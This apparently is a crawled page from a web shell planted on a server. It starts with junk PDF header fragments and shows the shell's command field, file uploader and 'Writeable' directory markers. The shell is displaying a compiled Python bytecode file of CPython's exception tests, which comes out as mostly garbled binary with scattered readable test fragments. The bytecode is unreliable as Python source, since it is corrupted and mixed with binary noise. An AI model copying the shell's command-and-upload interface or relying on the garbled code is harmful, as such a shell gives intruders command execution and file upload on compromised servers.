%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_exceptions.cpython-39.pyc
a

�_g���@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZddlmZGdd�de�ZGdd�de�ZGdd	�d	e�ZGd
d�dej�ZGdd
�d
ej�Zedkr�e��dS)�N)�TESTFN�captured_stderr�check_impl_detail�check_warnings�cpython_only�
gc_collect�
no_tracing�unlink�
import_module�
script_helper�SuppressCrashReport)�supportc@seZdZdd�ZdS)�NaiveExceptioncCs
||_dS�N��x��selfr�r�3/vddos/python/lib/python3.9/test/test_exceptions.py�__init__szNaiveException.__init__N��__name__�
__module__�__qualname__rrrrrrsrc@seZdZdZdd�ZdS)�SlottedNaiveExceptionrcCs
||_dSrrrrrrrszSlottedNaiveException.__init__N)rrr�	__slots__rrrrrrsrc@seZdZdd�ZdS)�BrokenStrExceptioncCstd��dS)Nzstr() is broken)�	Exception�rrrr�__str__szBrokenStrException.__str__N)rrrr rrrrrsrc@seZdZdd�Zdd�Zdd�Zdd�Zdsd
d�Zdd
�Ze	dd��Z
dd�Ze�
ejdkd�dd��Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�Zed&d'��Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0d1�Zd2d3�Z d4d5�Z!d6d7�Z"d8d9�Z#d:d;�Z$d<d=�Z%d>d?�Z&d@dA�Z'dBdC�Z(dDdE�Z)dFdG�Z*dHdI�Z+dJdK�Z,dLdM�Z-edNdO��Z.e	dPdQ��Z/e	dRdS��Z0e	dTdU��Z1e	dVdW��Z2e	dXdY��Z3e	dZd[��Z4ed\d]��Z5d^d_�Z6d`da�Z7dbdc�Z8e	ddde��Z9dfdg�Z:dhdi�Z;djdk�Z<e�
dldm�dndo��Z=dpdq�Z>drS)t�ExceptionTestscCs�|j||d���z|d��Wn,|yH}zt|�}WYd}~n
d}~00z|d��Wn,|y�}zt|�}WYd}~n
d}~00|�||�|�|j|�Wd�n1s�0YdS)N)�exc�excnameZspam)�subTest�str�assertEqualr)rr"r#�errZbuf1Zbuf2rrr�raise_catch$szExceptionTests.raise_catchc
Cs|�td�|�tttd�|�td�ttd�}|��ttd�}tj	}zDzddl
}|�d�WntytYn0W|t_	|��tt�n|t_	|��tt�0|�t
d�|�t
td	d�|�td
�|�ttd�|�td�g}|�t|jd
�|�td�i}|�t|jd�|�td�|�td�|�td�zt}Wnt�y^Yn0|�td�d}td�D]}||7}�qx|�td�|�td�|�td�ztd�Wnt�y�Yn0|�td�|�td�ztddd�Wnt�y
Yn0|� d�|�t!d �|�t"d!�|�t"tj#d�|�t$d"�zgd#Wnt$�yjYn0|�t%d$�|�t%t&d%�|�t'd&�zdd}Wnt'�y�Yn0|�t(d'�zdd}Wn&t(�y�}zWYd}~n
d}~00|�t)d(�dS))N�AttributeErrorZundefined_attribute�EOFError�w�rr��OSErrorzthis file does not exist�ImportErrorZundefined_module�
IndexError�
�KeyError�key�KeyboardInterrupt�MemoryError�	NameError�
OverflowError���RuntimeError�RecursionError�SyntaxErrorz/
�IndentationError�TabErrorz"try:
	1/0
    	1/0
finally:
 pass
z<string>�execzTabError not raised�SystemError�
SystemExit�	TypeErrorr�
ValueErrori�ZeroDivisionErrorr�StopAsyncIteration)*r(r)�assertRaises�getattr�sysr*�openr�close�stdin�marshal�loadsr	r.r/�
__import__r0�__getitem__r2r4r5r6Zundefined_variabler7�ranger:r;r<r?r=r>�compile�failr@rA�exitrBrC�chrrDrrE)r�fpZ	savestdinrLr�dummy�errr�testRaising1s�


�

�
&zExceptionTests.testRaisingcs(�fdd�}d}||d�|dd�dS)Ncs��j||d��nzt|dd�WnBtyb}z*|j|krN��d||jf�WYd}~nd}~00��d�Wd�n1s�0YdS)N)�src�msg�
<fragment>r?�expected %s, got %s�"failed to get expected SyntaxError)r$rQr<rZrR)rYrZrWrrr�ckmsg�s
*z4ExceptionTests.testSyntaxErrorMessage.<locals>.ckmsgzHif 1:
        try:
            continue
        except:
            passz'continue' not properly in loopz	continue
r�rr^�srrr�testSyntaxErrorMessage�s

z%ExceptionTests.testSyntaxErrorMessagecs^tf�fdd�	}d}||d�d}||d�d}||d�d	}||d
t�d}||dt�dS)
Nc
sbzt|dd�WnB|yR}z*|j|kr>��d||jf�WYd}~nd}~00��d�dS)Nr[r?r\r])rQrZrR)rYrZ�	exceptionrWrrrr^�s
*z:ExceptionTests.testSyntaxErrorMissingParens.<locals>.ckmsgzprint "old style"zHMissing parentheses in call to 'print'. Did you mean print("old style")?zprint "old style",zQMissing parentheses in call to 'print'. Did you mean print("old style", end=" ")?zexec "old style"z%Missing parentheses in call to 'exec'zif True:
print "No indent"zexpected an indented blockz6if True:
        print()
	exec "mixed tabs and spaces"z2inconsistent use of tabs and spaces in indentation)r<r=r>r_rrr�testSyntaxErrorMissingParens�s	


z+ExceptionTests.testSyntaxErrorMissingParens�utf-8c	Cs�|j|||d���|�t��}t|dd�Wd�n1s>0Y|�|jj|�|�|jj|�|jjdur�t	|t
�s�|�|d�}|�d�|d}|�
||jj�Wd�n1s�0YdS)N)�source�lineno�offsetr[r?�replace�
r8)r$rFr<rQr&rbrfrg�text�
isinstancer%�decode�split�assertIn)rrYrfrg�encoding�cm�linerrr�check�s*
zExceptionTests.checkcCs2|j}|ddd�|ddd�|ddd�|d	dd
�|ddd
�|ddd
dd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd�|ddd �|d!dd�|d"dd�|d#dd�|d$ddd%d�|d&d'd
�|d(dd�|d)dd�|d*d+d,�|d-dd.�|d/dd�|d0dd�|d1dd�|d2dd�|d3dd�|d4dd�|d5dd�|d6dd�|d7dd�|d8dd.�|d9dd�|d:dd�|d;dd.�|d<dt���rdnd�|d=dt���rdnd �|d>dd.�dS)?Nzdef fact(x):
	return x!
�r1z1 +
r8�z def spam():
  print(1)
 print(2)�zPython = "Python" +�uPython = "Ṕýţĥòñ" +s+# -*- coding: cp1251 -*-
Python = "ϳ���" +��cp1251)rosPython = "ϳ���" +�zx = "a�zlambda x: x = 2zf{a + b + c}zclass foo:return 1�zdef f():
  continuezdef f():
  breakz4try:
  pass
except:
  pass
except ValueError:
  passz(0x+1)zx = 0xI�z0010 + 2z
x = 32e-+4�zx = 0o9uα = 0xIsα = 0xIs## -*- coding: iso8859-7 -*-
� = 0xIz	iso8859-7s�if 1:
            def foo():
                '''

            def bar():
                pass

            def baz():
                '''quux'''
            �	z"pass
pass
pass
(1+)
pass
pass
passz(1+)s#coding: utf8
print('我')
r���z!x = [(yield i) for i in range(3)]�zdef f():
  from _ import *zdef f(x, x):
  passzdef f(x):
  nonlocal xzdef f(x):
  x = 1
  global xz
nonlocal xz def f():
  global x
  nonlocal xz#from __future__ import doesnt_existzfrom __future__ import bracesz#x=1
from __future__ import divisionzfoo(1=2)zdef f():
  x, y: intz[*x for x in xs]zfoo(x for x in range(10), 100)z
(yield i) = 2zdef f(*):
  passzfor 1 in []: pass)rrr
Zuse_old_parser)rrrrrr�testSyntaxErrorOffset�sd��	�
z$ExceptionTests.testSyntaxErrorOffsetcsjGdd�dt��Gdd�d����fdd�}��fdd�}��fd	d
�}tj�d�sf|�|�|�dS)Nc@seZdZdd�ZdS)z9ExceptionTests.testSettingException.<locals>.BadExceptioncSstd��dS)Nzcan't instantiate BadException)r:)Zself_rrrrszBExceptionTests.testSettingException.<locals>.BadException.__init__Nrrrrr�BadException
sr�c@seZdZdS)z=ExceptionTests.testSettingException.<locals>.InvalidExceptionN�rrrrrrr�InvalidExceptionsr�c
s�ddl}z|��d�WnZtyr}zBt��\}}}|jj}��|jd���	|j
�d��WYd}~nd}~00��d�dS)Nrr8�
test_capi1�test_exceptions.py�Expected exception)
�	_testcapi�raise_exceptionrBrH�exc_info�tb_frame�f_coder&�co_name�
assertTrue�co_filename�endswithrR)r�r'r"�tb�co�r�rrrr�s(z7ExceptionTests.testSettingException.<locals>.test_capi1c
s�ddl}z|��d�Wnrty�}zZt��\}}}|jj}��|jd���	|j
�d��|jjj}��|jd�WYd}~nd}~00��
d�dS)Nrrr��
test_capi2r�)r�r�r:rHr�r�r�r&r�r�r�r��f_backrR)r�r'r"r�r�Zco2r�rrr�s
$z7ExceptionTests.testSettingException.<locals>.test_capi2csddl}��t|j�d�dS)Nrr8)r�rFr@r�)r�)r�rrr�
test_capi3+s
�z7ExceptionTests.testSettingException.<locals>.test_capi3�java)rrH�platform�
startswith)rr�r�r�r)r�r�rr�testSettingExceptionsz#ExceptionTests.testSettingExceptioncCs�ztWntyY�n�0|�tt�|�ttd��d�|�ttdd��d�tddd�}|�|jd�|�|jd�|�t|�d�td	ddd
�}|�|jd�|�|jd
�|�|jd�|�|j	d�|�|j
d�|�t|�d�td	ddd�}|�|jd
�|�|jd�|�|jd�|�|j	d�|�|j
d�|�t|�d�tdd�}|�|jd�|�|jd�|�|jd�|�|j	d�|�|j
d�dS)Ni�Z1001�messagez[Errno 1001] messager~�foo�barz[Errno 9] foo: 'bar'rrursz[WinError 3] foo: 'bar'�z[WinError 1001] foo)�WindowsErrorr6�assertIsr.r&r%�errno�winerror�strerror�filename�	filename2)rr+rrr�test_WindowsError5sB�
z ExceptionTests.test_WindowsError�win32ztest specific to WindowscCsLtd�}d}|�td|��|j�|�Wd�n1s>0YdS)z:Should fill in unknown error code in Windows error message�ctypeslcs�@zWindows Error 0x%xN)r
�assertRaisesRegexr.Z	pythonapiZPyErr_SetFromWindowsErr)rr��coderrr�test_windows_message\sz#ExceptionTests.test_windows_messagecCs
tdddiftdddiftdddiftdddiftdddd�ftddddddd�ftd	d	dddd
d�ftdd	dddd
d�ftd
d	ddd�ftdddddd�ftddddddd�ftdddddddd�ftddddddddd�ftddd ddddd!d"�ftd#dd#dddddd$�ftdddiftd%d%d&d'd(d)d*�ftd&td+�d(dd)fd&td+�d(dd)fd&d+d(d)d*�ftd,d,d&d+d(d)d*�ftd-d-d.d/d(dd0�ft	dddd1�ft
dddd1�fg}z"|�tdddddddd2�f�Wnt
�y�Yn0|D�] \}}}z||�}Wn$td3||ftjd4��Yn�0t|�j�d5��sD|�t|�jd6�t|�}|D]:}t||�}|�t|�t||�d7|||||f��qPtfD]n}	t|	jd�D]X}
|	�||
�}|	�|�}|D]6}tt||��}t||�}
|�||
d8||f��qq��q��q�dS)9Nr�args)r8)r�)r�r8r�)r�r�)r�r�r�r�r�)r�r�r�)r�r��bazr�)r�r�r�N�quuxr�)r�r�r�)�errnoStr�strErrorStr�filenameStr)r�r�r�r�r�)r�r�r�r�)r8r�r�)r8r�r8)r�r�r�r�r�)rZrjr�rfrg�print_file_and_line)�msgStrr�)r�rjr�rZr�rfrg)r�)r��	linenoStr�	offsetStr�textStrr�r�r�)rgrjr�r�rZr�rf)r�r�r�r�r�Zprint_file_and_lineStr)rjr�r�rZr�rfrg)�ascii�arr8�ordinal not in ranger�r�rr�)r�ro�object�start�reason��)r�r�rr8r�)�あrr8�ouchr�r�)r�r�r�r��end)r�r)r�r�r�r�r�r�z
exc=%r, args=%r)�filer�builtinsz%r.%s == %r, expected %rzpickled "%r", attribute "%s)�
BaseExceptionrAr.r<�UnicodeError�UnicodeEncodeError�UnicodeDecodeError�	bytearray�UnicodeTranslateErrorrr�appendr�r6�printrH�stderr�typerr�r&rr%rG�repr�picklerP�HIGHEST_PROTOCOL�dumpsrM)rZ
exceptionListr"r�ZexpectedrWr`ZcheckArgName�value�p�protocol�newZgotZwantrrr�testAttributesfs"���������
�������������������������O���


��

��zExceptionTests.testAttributescCs�ztd��Wnt��d}Yn0t��|�}|�|t�|�|j|�td��|�}|�|t�|�|j|�Gdd�dt�}|��|�}|�||�|�|j|�dS)Nrtrsr�c@seZdZdS)z5ExceptionTests.testWithTraceback.<locals>.MyExceptionNr�rrrr�MyException�sr�)	r0rHr�r��with_traceback�assertIsInstancer&�
__traceback__r)rr�rWr�rrr�testWithTraceback�sz ExceptionTests.testWithTracebackc
CsPzdt�_Wn4ty@}z|�dt|��WYd}~nd}~00|�d�dS)Nr�z!__traceback__ must be a tracebackzNo exception raised)rr�rBrnr%rR�rrWrrr�testInvalidTraceback�s
&z#ExceptionTests.testInvalidTracebackcCsP|�ttt�dd�|�ttt�d�|�ttt�dd�|�ttt�d�dS)N�	__cause__r8�__context__)rFrB�setattrr�delattrrrrr�testInvalidAttrsszExceptionTests.testInvalidAttrscCsJztd��Wnt��d}Yn0t�}||_d|_|�|jd�dS)Nrtrs)r0rHr�rr�r&)rr�rWrrr�testNoneClearsTracebackAttrsz*ExceptionTests.testNoneClearsTracebackAttrcCsnt�}|�|j�|�|j�t�}|�|j�|�|j�Gdd�dt�}|�}|�|j�|�|j�dS)Nc@seZdZdS)z5ExceptionTests.testChainingAttrs.<locals>.MyExceptionNr�rrrrr�sr�)r�assertIsNoner�r�rBr.)rrWr�rrr�testChainingAttrssz ExceptionTests.testChainingAttrsc
Cs�z
t��Wn(ty2}z|}WYd}~n
d}~00|�|j�|�|j�|�|j�t�|_d|_|�|jt�|�|j�|�|j�d|_|�|j�dS)NF)	rr�r�r�ZassertFalse�__suppress_context__r6r�r�)rr"rWrrr�testChainingDescriptors"s
z&ExceptionTests.testChainingDescriptorscCs<|jttdd�Gdd�dt�}|dd�}|�|jd�dS)Nr8)r�c@seZdZdd�ZdS)z8ExceptionTests.testKeywordArgs.<locals>.DerivedExceptioncSst�|�||_dSr)r�r�	fancy_arg)rr�rrrr:s
zAExceptionTests.testKeywordArgs.<locals>.DerivedException.__init__Nrrrrr�DerivedException9sr��*)r�)rFrBr�r&r�)rr�rrrr�testKeywordArgs4s
zExceptionTests.testKeywordArgscs4�fdd��|�t���fdd��|�t��dS)Ncs��Srrr)�frrr�Csz/ExceptionTests.testInfiniteRecursion.<locals>.fcs"z��WStyYdS0dS)Nr�rCr��grrr�Gsz/ExceptionTests.testInfiniteRecursion.<locals>.g)rFr;rr)r�r�r�testInfiniteRecursionAsz$ExceptionTests.testInfiniteRecursioncCs8|�tt��|�ttd���|�ttdd���dS)Nr��b)r�r%rrrrr�test_strNszExceptionTests.test_strc
CsNz
t��Wn0ty:}z|�|�~WYd}~n
d}~00|�dt��dS)NrW)rr�ZassertNotIn�localsr�rrr�testExceptionCleanupNamesTs

z(ExceptionTests.testExceptionCleanupNamescs�Gdd�dt��Gdd�d�}��fdd�}|��t���}z
|�Wn$�yj}zWYd}~n
d}~00d�|��|���|��t���}z
|�Wn�y�Yn0d�|��|���|��t���}z
|�WnYn0d�|��|���|��t���}dD]&}z
|�WnY�q:Yn0�qd�|��|���|��t���}z z
|�Wnt�Yn0WnRt�y�}z8d|_d�|��tdd	��r�t�|���WYd}~n
d}~00|��t���}z
|�Wn<��y(zz�W�n�0Wn��y"Yn0Yn0d�tdd	��r@t�|��|���Gd
d�d�}|��t���}|��|�Wd�n1�s�0Yd�tdd	��r�t�|��|���dS)Nc@seZdZdd�ZdS)z=ExceptionTests.testExceptionCleanupState.<locals>.MyExceptioncSs
||_dSr��obj�rr�rrrrcszFExceptionTests.testExceptionCleanupState.<locals>.MyException.__init__Nrrrrrr�bsr�c@seZdZdS)z7ExceptionTests.testExceptionCleanupState.<locals>.MyObjNr�rrrr�MyObjesr�cs�}����dSrr)Z	local_ref�r�r�rr�inner_raising_funchszDExceptionTests.testExceptionCleanupState.<locals>.inner_raising_func)rF)Zcpythonc@seZdZdd�Zdd�ZdS)z9ExceptionTests.testExceptionCleanupState.<locals>.ContextcSs|Srrrrrr�	__enter__�szCExceptionTests.testExceptionCleanupState.<locals>.Context.__enter__cSsdS)NTr)r�exc_type�	exc_value�exc_tbrrr�__exit__�szBExceptionTests.testExceptionCleanupState.<locals>.Context.__exit__N)rrrr�r�rrrr�Context�sr�)r�weakref�refr�r2r�rr)rr�r��wrrW�ir�rr�r�testExceptionCleanupState^s�













 



&z(ExceptionTests.testExceptionCleanupStatec
sD�fdd�}ztWn*ty>�z|�WYd��n
d��00dS)Ncs�dSrrr�rWrr�print_error�szIExceptionTests.test_exception_target_in_nested_scope.<locals>.print_error)Z	somethingr)rrrrr�%test_exception_target_in_nested_scope�s
z4ExceptionTests.test_exception_target_in_nested_scopecCs�dd�}|�}|�t|�t�|�t��dd�|�t|�t�|�t��dd�|�t|�d�ztd��Wn�ty�|�}|�t|�t�|�t��dt�|�t|�t�|�t��dt�|�t|�t�~|�t��dt�Yn0dS)NcssNztd��Wn.ty:t��dVt��dVYn0t��dVdS)NZcaughtr)r2rHr�rrrr�yield_raise�sz:ExceptionTests.test_generator_leaking.<locals>.yield_raiserr�)r&�nextr2rHr�rB)rrr�rrr�test_generator_leaking�s$z%ExceptionTests.test_generator_leakingcCsfdd�}zt�Wn ty0|�}t|�Yn0zt|�WntyPYn0|�t��d�dS)Ncss
dVdSrrrrrrr��sz1ExceptionTests.test_generator_leaking2.<locals>.g�NNN)r:r	�
StopIterationr&rHr��rr��itrrr�test_generator_leaking2�sz&ExceptionTests.test_generator_leaking2c
Cs�dd�}|�}t|�zddWnbty�}zJ|�t��d|�|�|�}|�t��d|�|�||�WYd}~n
d}~00|�t��d�dS)Ncss0z
dVWn ty*t��dVYn0dS�Nr8�rDrHr�rrrrr�
s
z1ExceptionTests.test_generator_leaking3.<locals>.gr8rr)r	rDr�rHr��throwr&)rr�rrWZgen_excrrr�test_generator_leaking3
s
"z&ExceptionTests.test_generator_leaking3c
Cs�dd�}|�}zt�Wnty0t|�}Yn0|�|t�zt|�Wn8ty�}z |�t��d|�WYd}~n
d}~00|�t��d�dS)Ncss4zddWn"ty.t��dV�Yn0dS)Nr8rrrrrrr� s
z1ExceptionTests.test_generator_leaking4.<locals>.gr8r)rBr	r�rDrHr�r&)rr�r�tprWrrr�test_generator_leaking4s*z&ExceptionTests.test_generator_leaking4csH�fdd�}|�}zt�Wnty4t|�Yn0��tt|�dS)Nc3s.��t��dt�dV��t��d�dS)Nr8r)r�rHr�r:r&rrrrr�9sz>ExceptionTests.test_generator_doesnt_retain_old_exc.<locals>.g)r:r	rFrr
rrr�$test_generator_doesnt_retain_old_exc8sz3ExceptionTests.test_generator_doesnt_retain_old_exccs4dd���fdd�}|�t�|�t��d�dS)Ncss
dVdSrrrrrr�
simple_genFszIExceptionTests.test_generator_finalizing_and_exc_info.<locals>.simple_gencs.��}zt�Wnty(t|�YS0dSr)r:r	)�gen�rrr�run_genHs
zFExceptionTests.test_generator_finalizing_and_exc_info.<locals>.run_genr)rr&rHr�)rrrrr�&test_generator_finalizing_and_exc_infoDs
z5ExceptionTests.test_generator_finalizing_and_exc_infocsnGdd�dt��Gdd�d�}��fdd�}|��t���}|�}t|�||�d}�|��|���dS)Nc@seZdZdd�ZdS)zFExceptionTests._check_generator_cleanup_exc_state.<locals>.MyExceptioncSs
||_dSrr�r�rrrrVszOExceptionTests._check_generator_cleanup_exc_state.<locals>.MyException.__init__Nrrrrrr�Usr�c@seZdZdS)z@ExceptionTests._check_generator_cleanup_exc_state.<locals>.MyObjNr�rrrrr�Xsr�c3s*z����Wn�y$dVYn0dSrrrr�rr�raising_gen[szFExceptionTests._check_generator_cleanup_exc_state.<locals>.raising_gen)rrrr	r�)rZtestfuncr�rrr�rr�r�"_check_generator_cleanup_exc_stateRs
z1ExceptionTests._check_generator_cleanup_exc_statecCsdd�}|�|�dS)NcSs(z|�t��Wnty"Yn0dSr)rr:r�rrr�do_throwkszGExceptionTests.test_generator_throw_cleanup_exc_state.<locals>.do_throw�r)rrrrr�&test_generator_throw_cleanup_exc_statejsz5ExceptionTests.test_generator_throw_cleanup_exc_statecCsdd�}|�|�dS)NcSs|��dSr)rJr�rrr�do_closesszGExceptionTests.test_generator_close_cleanup_exc_state.<locals>.do_closer)rr!rrr�&test_generator_close_cleanup_exc_statersz5ExceptionTests.test_generator_close_cleanup_exc_statecCsdd�}|�|�dS)NcSsd}dSrrr�rrr�do_delxszCExceptionTests.test_generator_del_cleanup_exc_state.<locals>.do_delr)rr#rrr�$test_generator_del_cleanup_exc_statewsz3ExceptionTests.test_generator_del_cleanup_exc_statecs�fdd�}��|�dS)Ncs.zt|�WntyYn0��d�dS�Nz should have raised StopIteration)r	rrRr�rrr�do_next}s
zEExceptionTests.test_generator_next_cleanup_exc_state.<locals>.do_nextr)rr&rrr�%test_generator_next_cleanup_exc_state|sz4ExceptionTests.test_generator_next_cleanup_exc_statecs�fdd�}��|�dS)Ncs0z|�d�Wnty Yn0��d�dSr%)�sendrrRr�rrr�do_send�s
zEExceptionTests.test_generator_send_cleanup_exc_state.<locals>.do_sendr)rr)rrr�%test_generator_send_cleanup_exc_state�sz4ExceptionTests.test_generator_send_cleanup_exc_statecsBG�fdd�d�}d�zt|���WnYn0|��d�dS)NcseZdZ�fdd�ZdS)z*ExceptionTests.test_3114.<locals>.MyObjectcst���dSr)rHr�rrrr�__del__�sz2ExceptionTests.test_3114.<locals>.MyObject.__del__N�rrrr+rrrr�MyObject�sr-rr)rr&)rr-rrr�	test_3114�szExceptionTests.test_3114cCsftddddd�}|�t|�d�d|_|�t|�d�d|_d	|_|�t|�d
�d|_|�t|�d�d
|_|�t|�d�tddddd�}|�t|�d�d|_|�t|�d�d|_d	|_|�t|�d�d|_|�t|�d�d
|_|�t|�d�tdddd�}|�t|�d�d|_|�t|�d�d|_d	|_|�t|�d�d
|_|�t|�d�dS)Nr�Zxxxxxr8r�r�z8'baz' codec can't encode characters in position 1-4: foorsz<'baz' codec can't encode character '\x78' in position 1: foolESh
MQ)EzJ'baz' codec can't encode characters in position 1-4: 965230951443685724997i�zK'4000' codec can't encode characters in position 1-4: 965230951443685724997i�zN'4000' codec can't encode characters in position 1000-4: 965230951443685724997sxxxxxz3'baz' codec can't decode bytes in position 1-4: fooz5'baz' codec can't decode byte 0x78 in position 1: foozE'baz' codec can't decode bytes in position 1-4: 965230951443685724997zF'4000' codec can't decode bytes in position 1-4: 965230951443685724997zI'4000' codec can't decode bytes in position 1000-4: 965230951443685724997Zxxxxz/can't translate characters in position 1-4: fooz3can't translate character '\x78' in position 1: foozAcan't translate characters in position 1-4: 965230951443685724997zDcan't translate characters in position 1000-4: 965230951443685724997)	r�r&r%r�r�ror�r�r�)r�urrr�test_unicode_change_attributes�s>z-ExceptionTests.test_unicode_change_attributescCs.tttf}|D]}|�t|�|��d�qdS)N�)r�r�r�r&r%�__new__)rZklasses�klassrrr�test_unicode_errors_no_object�s
z,ExceptionTests.test_unicode_errors_no_objectcs�Gdd�dt�}Gdd�dt|d�}t��x}z
t��WnR|yd}z|�d�WYd}~n8d}~0tytYn |�d�Yn0|�d�Wd�n1s�0Y�fdd	����\}}}|�|tt|��|�d
t|��dS)Nc@seZdZdd�ZdS)z/ExceptionTests.test_badisinstance.<locals>.MetacSs
t��dSrr�)�cls�subclassrrr�__subclasscheck__�szAExceptionTests.test_badisinstance.<locals>.Meta.__subclasscheck__N)rrrr7rrrr�Meta�sr8c@seZdZdS)z6ExceptionTests.test_badisinstance.<locals>.MyExceptionNr�rrrrr��sr�)�	metaclassz%exception should not be a MyExceptionzShould have raised KeyErrorcs(z��WSty"t��YS0dSr)r;rHr�rr�rrr��sz,ExceptionTests.test_badisinstance.<locals>.gz maximum recursion depth exceeded)	r�rrr2rRr�r;rnr%)rr8r�r�rW�vr�rr�r�test_badisinstance�s 
(z!ExceptionTests.test_badisinstancecCsPdt}t�dd|�\}}}|�|d�|�d|�|�d|�|�d|�dS)Na�if 1:
            import sys
            from _testinternalcapi import get_recursion_depth

            class MyException(Exception): pass

            def setrecursionlimit(depth):
                while 1:
                    try:
                        sys.setrecursionlimit(depth)
                        return depth
                    except RecursionError:
                        # sys.setrecursionlimit() raises a RecursionError if
                        # the new recursion limit is too low (issue #25274).
                        depth += 1

            def recurse(cnt):
                cnt -= 1
                if cnt:
                    recurse(cnt)
                else:
                    generator.throw(MyException)

            def gen():
                f = open(%a, mode='rb', buffering=0)
                yield

            generator = gen()
            next(generator)
            recursionlimit = sys.getrecursionlimit()
            depth = get_recursion_depth()
            try:
                # Upon the last recursive invocation of recurse(),
                # tstate->recursion_depth is equal to (recursion_limit - 1)
                # and is equal to recursion_limit when _gen_throw() calls
                # PyErr_NormalizeException().
                recurse(setrecursionlimit(depth + 2) - depth - 1)
            finally:
                sys.setrecursionlimit(recursionlimit)
                print('Done.')
        z-Wd�-cr8sRecursionErrorsResourceWarning�Done.)�__file__r�assert_python_failurer&rn�rr��rc�outr'rrr�$test_recursion_normalizing_exception�s(�)z3ExceptionTests.test_recursion_normalizing_exceptioncCs>d}t�d|�\}}}|�|d�|�d|�|�d|�dS)Nz�if 1:
            import _testcapi
            try:
                raise _testcapi.RecursingInfinitelyError
            finally:
                print('Done.')
        r<r8sORecursionError: maximum recursion depth exceeded while normalizing an exceptionr=)rr?r&rnr@rrr�-test_recursion_normalizing_infinite_exception#s�z<ExceptionTests.test_recursion_normalizing_infinite_exceptioncCsLd}t��.t�d|�\}}}|�d|�Wd�n1s>0YdS)Na+if 1:
            import _testcapi
            class C(): pass
            def recurse(cnt):
                cnt -= 1
                if cnt:
                    recurse(cnt)
                else:
                    _testcapi.set_nomemory(0)
                    C()
            recurse(16)
        r<smFatal Python error: _PyErr_NormalizeException: Cannot recover from MemoryErrors while normalizing exceptions.)rrr?rnr@rrr�)test_recursion_normalizing_with_no_memory5s�z8ExceptionTests.test_recursion_normalizing_with_no_memorycs@ddl�ddlm����fdd�}|�}|�}��||�dS)Nr��raise_memoryerrorc
sJz
��Wn*ty4}z|j}WYd}~nd}~00��d���|�S)Nz Should have raises a MemoryError)r5r�rR�	format_tb)rWr��rGr�	tracebackrr�
raiseMemErrorSs

z6ExceptionTests.test_MemoryError.<locals>.raiseMemError)rJr�rGr&)rrKZtb1Ztb2rrIr�test_MemoryErrorMs	zExceptionTests.test_MemoryErrorc
Cs"ddl}d}d}|�t|jd�|�d�}|�t|�t�|�t|t��|�	|j
�|�d|�}|�|j
|�|jd|d�}|�t||��Gd	d
�d
t�}|�d|||f�}|�t||��|�t||��|�|j
|�|�dd
|ddi�}	|�t|	|��|�|	j
d�|�|	j
d
�dS)NrzThis is a test docstring.zThis is another test docstring.�error1z_testcapi.error1z_testcapi.error2z_testcapi.error3)�basec@seZdZdS)z1ExceptionTests.test_exception_with_doc.<locals>.CNr�rrrr�CysrOz_testcapi.error4z_testcapi.error5r1r�r8)r�rFr@Zmake_exception_with_docr�r�r��
issubclassrr��__doc__r&r�r�)
rr�Zdoc2Zdoc4rMZerror2Zerror3rOZerror4Zerror5rrr�test_exception_with_doc`s:
�
���z&ExceptionTests.test_exception_with_docc
s�ddlm�Gdd�d��d����fdd�}z
|�Wn2tyj}z|���d�WYd}~nd}~00|�d�|���d�dS)NrrFc@seZdZdS)z3ExceptionTests.test_memory_error_cleanup.<locals>.CNr�rrrrrO�srOcs��}t�|����dSr�rr��c�rOrGrrr�inner�s
z7ExceptionTests.test_memory_error_cleanup.<locals>.innerzMemoryError not raised)r�rGr5�assertNotEqualrRr&)rrWrWrrVr�test_memory_error_cleanup�s
$
z(ExceptionTests.test_memory_error_cleanupc
s|Gdd�d��d����fdd��z
��Wn2ty^}z|���d�WYd}~nd}~00|�d�|���d�dS)Nc@seZdZdS)z6ExceptionTests.test_recursion_error_cleanup.<locals>.CNr�rrrrrO�srOcs��}t�|����dSrrSrT�rOrWrrrrW�s
z:ExceptionTests.test_recursion_error_cleanup.<locals>.innerzRecursionError not raised)r;rXrRr&r�rrZr�test_recursion_error_cleanup�s
$
z+ExceptionTests.test_recursion_error_cleanupcCsN|�t��}t�t�Wd�n1s*0Y|�|jjtj|j�dSr)	rFr.�os�listdirr>r&rbr��ENOTDIR)rrprrr�test_errno_ENOTDIR�s(z!ExceptionTests.test_errno_ENOTDIRcCsbGdd�d�}|�}t���2}~|�|jj|j�|�|jj�Wd�n1sT0YdS)Nc@seZdZdd�ZdS)z1ExceptionTests.test_unraisable.<locals>.BrokenDelcSstd�}|�dS)Nz
del is brokenr��rr"rrrr+�sz9ExceptionTests.test_unraisable.<locals>.BrokenDel.__del__Nr,rrrr�	BrokenDel�sra)r
Zcatch_unraisable_exceptionr&Z
unraisabler�r+ZassertIsNotNone�
exc_traceback)rrar�rprrr�test_unraisable�s
zExceptionTests.test_unraisablec
Cs�ttfD]�}|�|���z|d�}|�WnF|ynt��}tjt���Wd�n1s`0YYn0|��}|�d|�|�d|�|�|j	|�|tur�|�d|�n|�d|�|�
